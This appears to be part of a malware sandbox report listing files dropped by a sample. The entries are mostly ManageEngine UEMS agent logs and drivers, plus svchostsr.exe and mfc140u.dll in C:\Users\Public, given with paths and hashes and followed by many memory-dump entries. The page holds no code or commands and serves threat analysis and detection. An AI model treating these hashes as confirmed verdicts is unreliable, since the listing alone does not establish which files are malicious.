                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
                          • Size 449B
                          • SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          info.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
                          • Size 2KB
                          • SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Network_Connection.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log
                          • Size 1KB
                          • SHA256 15861375ec27e65958e7ade011d92d8959b51d45aa7613ca70703d1aca28f873
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dccomponentregister.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dccomponentregister.log
                          • Size 28KB
                          • SHA256 57d6bf350a711d88b6b04465bd6c8c76b2aa47877ca88b843798204e052258f3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcdatatransferdown.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log
                          • Size 1KB
                          • SHA256 9bdfd108488d0d7774da08fa307a138f1c57f35ceb96568739065a4cff7dbca2
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dcdatatransferdown.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log
                          • Size 1KB
                          • SHA256 bbe485b6ec2f6135ce9e9e2f3cfd0488427bf503c483f6e15b2da5346e784e19
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dcdatatransferdown.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log
                          • Size 1KB
                          • SHA256 9b62f79a1d98ea40430b5f564db69527e2f4c3a68b30987a8d0a2043585c708c
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dcdatatransferdown.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log
                          • Size 2KB
                          • SHA256 8962abf73ca8b16b59f6252af759946db97f1d22b00c636d83430ad3ab829904
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dcdatatransferdown.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcdatatransferdown.log
                          • Size 4KB
                          • SHA256 de4744988b0dac35d86fe2e729b92f5149d63c820f21ff814a176e33510dcaa3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcpatchcpu.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchcpu.log
                          • Size 256B
                          • SHA256 82a57bb796a0f1b7819398b2cf6e628151217366135d92b549bdb56d8f5cc268
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          devicepatchaccess.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicepatchaccess.log
                          • Size 784B
                          • SHA256 40a6e7a949f2632d24ca948d33dbcda3bafcd267285be63ca0ebd7e97d4b310d
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          meaaphelper.log
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\meaaphelper.log
                          • Size 21KB
                          • SHA256 8761c5f73fffc6958f4e955f45306f7debc0269e5d6b77e6fe48f649963a9b92
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          EmbeddedDriverService.sys
                          • Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
                          • Size 34KB
                          • SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dc1668.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\dc1668.tmp
                          • Size 3KB
                          • SHA256 3083b6e192ce6c5328e4289163fb91111e9266d07c4a6169aa9b34ba7d1eb2b5
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dc5308.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\dc5308.tmp
                          • Size 9B
                          • SHA256 bac0662712b7b39d4817f00ac40c2d4bbd49c0d1fb3fa45a78e7437620b022c6
                          • MD5 SHA1 SHA512
                          Submit Download

                          mfc140u.dll
                          • Path C:\Users\Public\mfc140u.dll
                          • Size 12.5MB
                          • SHA256 0ec84ae773c44efef438c5e9eecc90e37aa5e427177daf301b1d7048dcd070b8
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          svchostsr.exe
                          • Path C:\Users\Public\svchostsr.exe
                          • Size 451KB
                          • SHA256 5ef3fe4a5e70d3750a11c73902e35b50b9ac007e8a95dde0569bf6bae17da73a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MSID3B1.tmp
                          • Path C:\Windows\Installer\MSID3B1.tmp
                          • Size 81KB
                          • SHA256 17805948e9d5f51fca01c13bb7dedb1f1a1e17bcf5cc0cb6c01d9f773b712744
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcagenthttp.dll
                          • Path C:\Windows\SysWOW64\dcagenthttp.dll
                          • Size 3.6MB
                          • SHA256 3de8d74127b797813742dd9fd618c38572b269f8dbb14af4d6014a1addec4e38
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dclibxml2.dll
                          • Path C:\Windows\SysWOW64\dclibxml2.dll
                          • Size 2.1MB
                          • SHA256 a451dd3babd79318b612072cb417fd4848be821a1607dc58ac31676e9312fd7a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          mearwfltdriver.inf_amd64_33949fe404711eb9.ini
                          • Path C:\Windows\System32\DriverStore\FileRepository\mearwfltdriver.inf_amd64_33949fe404711eb9.ini
                          • Size 445B
                          • SHA256 990c910c838f85682cd5e153a049b569f75bf5fc5f32c3182185aee9e9aa81ea
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          DCFAFilter.cat
                          • Path C:\Windows\System32\DriverStore\Temp\{3b9e650b-a6df-274a-b392-9d29f20a4853}\DCFAFilter.cat
                          • Size 11KB
                          • SHA256 13ca4fe14d26dd21d435e3574785d13f8812f09e4aec8bde236dfdaf1bd8c45a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          DCFAFilter.inf
                          • Path C:\Windows\System32\DriverStore\Temp\{3b9e650b-a6df-274a-b392-9d29f20a4853}\DCFAFilter.inf
                          • Size 3KB
                          • SHA256 f333d903628f9290d46f127c6cf9db0f1523298a458a42f5fca76aee4326a281
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          DCFAFilter.sys
                          • Path C:\Windows\System32\DriverStore\Temp\{3b9e650b-a6df-274a-b392-9d29f20a4853}\DCFAFilter.sys
                          • Size 52KB
                          • SHA256 232b51747b0d296e16dfe7de614716e76e04e650939b123250f191eda5831e7b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MEARWFltDriver.cat
                          • Path C:\Windows\System32\DriverStore\Temp\{d3235c13-d704-fe4e-b023-5f61496ebe30}\MEARWFltDriver.cat
                          • Size 12KB
                          • SHA256 ff370bd017d038fd1b0d2536db051eb131e216a56020bc76a23400c4b4832b9c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MEARWFltDriver.inf
                          • Path C:\Windows\System32\DriverStore\Temp\{d3235c13-d704-fe4e-b023-5f61496ebe30}\MEARWFltDriver.inf
                          • Size 3KB
                          • SHA256 6abdef9568f83803d07d67c3b984042f4b34e60324381382520b7601ea35824f
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          MEARWFltDriver.sys
                          • Path C:\Windows\System32\DriverStore\Temp\{d3235c13-d704-fe4e-b023-5f61496ebe30}\MEARWFltDriver.sys
                          • Size 144KB
                          • SHA256 8f65278ad59e2c88707b9ec4e61819c06aac61c109845200f6e09f3297acbe2b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          DCAgentUpdater.job
                          • Path C:\Windows\Tasks\DCAgentUpdater.job
                          • Size 448B
                          • SHA256 c16cc75c420540cd08ac8a9da8d527487b33815633079d310e4f6368342896e0
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          memory/3804-16-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-20-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-1-0x0000000002480000-0x0000000002501000-memory.dmp
                          Download

                          memory/3804-3-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-2-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-5-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-4-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-7-0x0000000002EC0000-0x0000000002F20000-memory.dmp
                          Download

                          memory/3804-6-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-8-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-22-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-21-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-19-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-17-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-15-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-14-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-13-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-12-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-11-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-9-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-18-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-10-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-24-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-26-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-28-0x0000000010000000-0x000000001001C000-memory.dmp
                          Download

                          memory/3804-27-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-93-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-74-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-75-0x0000000010000000-0x0000000010039000-memory.dmp
                          Download

                          memory/3804-37-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-72-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-0-0x0000000000C40000-0x0000000000C41000-memory.dmp
                          Download

                          memory/3804-61-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-63-0x0000000010000000-0x000000001001C000-memory.dmp
                          Download

                          memory/3804-60-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-58-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-59-0x0000000002310000-0x0000000002332000-memory.dmp
                          Download

                          memory/3804-39-0x0000000003140000-0x00000000031A6000-memory.dmp
                          Download

                          memory/3804-40-0x0000000010000000-0x0000000010062000-memory.dmp
                          Download

                          memory/5484-121-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-109-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-122-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-97-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-98-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-99-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-100-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-101-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-103-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-115-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-114-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-113-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-112-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-126-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-111-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-110-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-123-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-125-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-108-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-132-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-403-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-133-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-131-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-107-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-106-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-105-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-102-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-116-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-129-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-128-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-127-0x0000000003D60000-0x0000000003DC6000-memory.dmp
                          Download

                          memory/5484-124-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-104-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download

                          memory/5484-118-0x0000000003330000-0x0000000003352000-memory.dmp
                          Download

                          memory/5484-120-0x0000000003E00000-0x0000000003E66000-memory.dmp
                          Download